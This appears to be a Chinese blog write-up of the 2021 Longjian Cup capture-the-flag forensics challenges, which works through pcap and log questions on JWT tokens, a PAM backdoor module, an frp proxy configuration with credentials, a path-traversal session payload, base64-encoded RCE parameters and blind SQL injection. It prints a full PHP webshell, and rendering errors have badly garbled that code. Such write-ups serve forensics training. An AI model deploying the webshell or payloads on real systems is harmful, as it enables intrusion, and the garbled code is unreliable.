2021陇剑杯

本文详述了一次网络安全事件的分析过程,包括识别HTTP协议攻击,JWT认证解码,TCP流追踪,恶意文件检测,密码与路径解析,Webshell定位,数据库漏洞利用,恶意代码分析,服务器IP定位,以及网络扫描范围确认。揭示了攻击者通过HTTP流量进行的复杂攻击手段和技术细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述过滤http,发现大量http数据包
在这里插入图片描述只发现少量dns流量包和没有发现ftp流量包
在这里插入图片描述所以判断出是http协议攻击
2.1
在这里插入图片描述直接过滤HTTP包,右键选择“追踪流”进入tcp流
在这里插入图片描述
将token进行jwt解码,出现jwt字段,所以判断出是jwt认证

在这里插入图片描述
2.2
在这里插入图片描述过滤http,追踪tcp流,将token内容直接拿去base64解码
在这里插入图片描述得到
{“alg”:“HS256”,“typ”:“JWT”}.{“id”:10086,“MapClaims”:{“aud”:“admin”,“username”:"admin"fX0.t+·ãas3_
ZÞÚüåÅì4l¹ŽfÂÖrŸ8fc
拿去提交:10086#admin,但发现是错的
当追踪到第10个tcp流的时候,将token拿去base64解密,发现内容和前面不一样
在这里插入图片描述在这里插入图片描述
得到:10087#admin
2.3
在这里插入图片描述在第10个TCP流里发现root权限
在这里插入图片描述
2.4
在这里插入图片描述在第13个tcp流中发现上传了一大串内容
在这里插入图片描述
先进行url解码,在进行base64解码,发现是一个python脚本,这就是上传的恶意内容,将其全部输入到1.c当中。所以文件名为1.c
在这里插入图片描述2.5
在这里插入图片描述在第22个tcp流中发现looter.so结合题目编译的恶意so文件。所以就是looter.so
在这里插入图片描述2.6
在这里插入图片描述发现文件“looter.so”文件被导向/etc/pam.d/common-auth路径,这里就是被修改的配置文件。
/etc/pam.d/common-auth
在这里插入图片描述3.1
在这里插入图片描述
追踪tcp流,在第6个tcp包中发现密码。
在这里插入图片描述%40url解码为@,%23url解码为#
得到密码Admin123!@#
3.2
在这里插入图片描述追踪tcp流,在第24个tcp流中发现一个路径
在这里插入图片描述data/Runtime/Logs/Home/21_08_07.log
但当前路径是在网站根目录。所以完整路径是
/var/www/html/data/Runtime/Logs/Home/21_08_07.log

3.3
在这里插入图片描述追踪http流,在第35个http流中发现权限是www-data
在这里插入图片描述3.4
在这里插入图片描述追踪tcp流,在第33个tcp流发现将webshell写入了1.php中
在这里插入图片描述3.5
在这里插入图片描述搜索1.php这个webshell木马文件。查找几个后发现frpc.ini,所以代理客户端名字是frpc
在这里插入图片描述3.6
在这里插入图片描述在第38个tcp流中发现一串Hex进制的的value值
在这里插入图片描述进行hex解码字符串得到
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

所有ip为192.168.239.123
3.7
在这里插入图片描述根据3.6的hex解密出内容得到用户名和密码为0HDFt16cLQJ#JTN276Gp
4.1
在这里插入图片描述查找200,发现www.zip
在这里插入图片描述
4.2
在这里插入图片描述根据题意查找tmp,发现为Fsess_car,所有写入文件名为Fsess_car
在这里插入图片描述4.3
在这里插入图片描述搜索file,发现只有一两个地方有该关键字。
在这里插入图片描述将该地方进行url解密得到
在这里插入图片描述/?filename=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/tmp/sess_car&content=func|N;files|a:2:{s:8:“filename”;s:16:"./files/filename";s:20:“call_user_func_array”;s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:“SplFileObject”;} HTTP/1.1" 302 879 “-” “python-requests/2.26.0”
发现一个序列化内容,SplFileObject即为序列化内容中的类
7.1
在这里插入图片描述查看一下日志,发现user参数后面跟着一段base64加密内容
在这里插入图片描述进行base64解密,应该就是rce了,所以攻击参数是user
在这里插入图片描述7.2
在这里插入图片描述参看日志,发现另外一个user参数后面跟着一段base64编码内容
解行解密后发现密码文件的绝对路径是/Th4s_IS_VERY_Import_Fi1e
在这里插入图片描述7.3
在这里插入图片描述查看日志,发现最后一个user参数后面也是跟着一段base64编码,base64解密的时候他报错了,提示无效字符%
在这里插入图片描述
将%2b改成+号进行base64解密得到
在这里插入图片描述所以为192.168.2.197:8888
8.1
在这里插入图片描述查看日志,随便挑一个进行url解密,发现是布尔盲注
在这里插入图片描述8.2
在这里插入图片描述
数据库名sqli
在这里插入图片描述表名flag
在这里插入图片描述字段名flag
在这里插入图片描述8.3
在这里插入图片描述获取字段值,可以一个一个慢慢查看获取
python脚本获取
from urllib import parse

num = 0
line = 0
tmp1 = 1
tmp2 = 2
str1 = ‘’

with open(“access.log”, ‘r’) as f:
string = f.readline()
while (string != ‘’):

    if ("sqli.flag" in string):

        string = parse.unquote(string)
        num = string.find("sqli.flag")  # 字符
        num += 19
        line = string.find("sqli.flag")
        line += 11
        if (string[line + 1] == ","):
            tmp1 = int(string[line])
        elif (string[line + 1] != ","):
            num += 1
            tmp1 = int(string[line:line + 2])

        if (tmp1 == tmp2):  # 发现目标字符,是上一行的
            tmp2 += 1
            print(str1, end="")

    str1 = string[num]  # 保留上一行的字符
    string = f.readline()

运行脚本,得到flag
在这里插入图片描述9.1
在这里插入图片描述在服务器pcap的第27个包中发现上传了木马
在这里插入图片描述木马内容为
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode( D , D, D,K){
for( i = 0 ; i=0; i=0;i<strlen( D ) ; D); D);i++) {
$c = K [ K[ K[i+1&15];
D [ D[ D[i] = D [ D[ D[i]^$c;
}
return $D;
}
$pass=‘key’;
$payloadName=‘payload’;
k e y = ′ 3 c 6 e 0 b 8 a 9 c 15224 a ′ ; i f ( i s s e t ( key='3c6e0b8a9c15224a'; if (isset( key=3c6e0b8a9c15224a;if(isset(_POST[$pass])){
d a t a = e n c o d e ( b a s e 6 4 d e c o d e ( data=encode(base64_decode( data=encode(base64decode(_POST[ p a s s ] ) , pass]), pass]),key);
if (isset( S E S S I O N [ _SESSION[ SESSION[payloadName])){
p a y l o a d = e n c o d e ( payload=encode( payload=encode(_SESSION[ p a y l o a d N a m e ] , payloadName], payloadName],key);
eval( p a y l o a d ) ; e c h o s u b s t r ( m d 5 ( payload); echo substr(md5( payload);echosubstr(md5(pass. k e y ) , 0 , 16 ) ; e c h o b a s e 6 4 e n c o d e ( e n c o d e ( @ r u n ( key),0,16); echo base64_encode(encode(@run( key),0,16);echobase64encode(encode(@run(data), k e y ) ) ; e c h o s u b s t r ( m d 5 ( key)); echo substr(md5( key));echosubstr(md5(pass.KaTeX parse error: Expected 'EOF', got '}' at position 15: key),16); }̲else{ i…data,“getBasicsInfo”)!==false){
S E S S I O N [ _SESSION[ SESSION[payloadName]=encode( d a t a , data, data,key);
}
}
}
10.1
在这里插入图片描述追踪tcp流,在第15个tcp流位置发现转发,所以服务器ip是3.128.156.159
在这里插入图片描述10.2
在这里插入图片描述追踪tcp流,在第15个tcp流中发现github项目
在这里插入图片描述访问后发现是stowaway
在这里插入图片描述10.3
在这里插入图片描述同10.3数据流,转发操作有密钥hack4sec
在这里插入图片描述在这里插入图片描述10.5
在这里插入图片描述进行端口过滤,发现只有10-499范围有流量包。所以扫描范围是10-499
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

g1ory.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值